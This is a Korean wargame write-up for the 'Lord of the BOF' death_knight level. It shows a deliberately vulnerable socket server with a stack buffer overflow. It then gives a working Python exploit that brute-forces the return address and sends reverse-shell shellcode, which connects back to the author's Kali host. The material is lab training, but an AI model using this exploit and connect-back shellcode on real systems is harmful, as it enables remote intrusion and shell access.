[LOB]Level20. death_knight

 

Remote BoF

/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark knight
        - remote BOF
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <dumpcode.h>

main()
{
    char buffer[40];

    int server_fd, client_fd;
    struct sockaddr_in server_addr;
    struct sockaddr_in client_addr;
    int sin_size;

    if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
        perror("socket");
        exit(1);
    }

    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(6666);
    server_addr.sin_addr.s_addr = INADDR_ANY;
    bzero(&(server_addr.sin_zero), 8);

    if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
        perror("bind");
        exit(1);
    }

    if(listen(server_fd, 10) == -1){
        perror("listen");
        exit(1);
    }

    while(1) {
        sin_size = sizeof(struct sockaddr_in);
        if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
            perror("accept");
            continue;
        }

        if (!fork()){
            send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
            send(client_fd, "You : ", 6, 0);
            recv(client_fd, buffer, 256, 0);
            close(client_fd);
            break;
        }

        close(client_fd);
        while(waitpid(-1,NULL,WNOHANG) > 0);
    }
    close(server_fd);
}

0x01. Analysis

소스코드를 살펴보니 6666포트를 열고있는 서버 프로그램이다.

클라이언트가 6666포트로 접속하면 fork로 자식프로세스를 만들어 처리하는데,

접속 시 “Death Knight : Not even death can save you from me!”를 출력하고

접속자로 부터 값을 입력받는다. 그리고 그 값을 256Byte만큼 buffer에 저장하는데

이때 buffer의 크기는 40Byte로 선언되어 있어 BoF가 발생하게 된다.


조건

  • 클라이언트로 접속하여 쉘을 따면 되는데, 생각해야 할 점은, 보통처럼 쉘코드를 날리게 되면 서버측에서 쉘이 따진다. 그러면 아무런 의미가 없으므로 클라이언트에게 쉘이 떨어지도록 서버가 클라이언트로 접속 가능하도록 만들어야 한다.
  • 서버측에서 ret주소가 어디인지 알 수 없으므로 BruteForce를 사용하여 공격해야 한다.

바이너리분석

recv함수 호출 부분을 살펴보니 buffer의 주소는 ebp-40인것으로 보아 RET에서 44Byte만큼 떨어져 있음으로 알 수 있다.


시나리오

브루트포싱으로 ret주소를 찾아야 하기 때문에 쉘코드 전에 NOP를 어느정도 넣어주어야 한다.

| dummy(44) | RET(4) | NOP(100) | shellcode |


쉘코드 작성

이제 쉘코드를 만들자.

쉘코드는 peda에서 쉽게 생성 할 수 있다.

peda를 실행하기 위해 아무 바이너리를 불러오고 shellcode generate x86/linux connect [port] [ip] 를 적어주면 쉘코드가 생성된다.

이때 ip와 port를 공격당한 서버가 접속 할 곳이다. (필자는 kali로 접속하도록 하였다.)


환경 설정

이제 kali에서 쉘코드에 작성한 대로 port를 열고 기다려야 한다.

그리고 kali에서 따른 터미널을 열어 exploit 코드를 작성하였다.


0x02. Exploit

import sys
import struct
from socket import *

p32 = lambda x: struct.pack('<I', x)

host = "192.168.122.130"
port = 6666

shellcode  = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
shellcode += "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\x0a\xd3\x37\x04\x66\x68"
shellcode += "\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
shellcode += "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
shellcode += "\x89\xe1\xb0\x0b\xcd\x80"

for i in range(0xbfff0000, 0xbfffffff, 10):
    r = socket(AF_INET, SOCK_STREAM)
    r.connect((host,port))

    print "Addr : %s"%hex(i)

    payload  = "A"*44
    payload += p32(i)
    payload += "\x90"*100
    payload += shellcode

    print r.recv(52),
    print r.recv(6)
    r.send(payload)
    r.close()

먼저 LOB 머신에서 Kali 머신으로 통신이 되는지 확인하자. (필자는 계속 ex가 안되서 삽질했었다. 결국 통신문제였음.😒)

코드를 보면 for문을 통해 0xbfff0000 ~ 0xbfffffff까지 주소를 10씩 증가시키면서 Brute-Force 하고있다.

공격을 하게되면 브루트포싱 하며 공격이 진행되어 진다.

공격에 성공하면 접속을 기다리던 Kali 터미널에서 접속되었다는 메시지가 뜨면서 쉘을 획득하게 된다.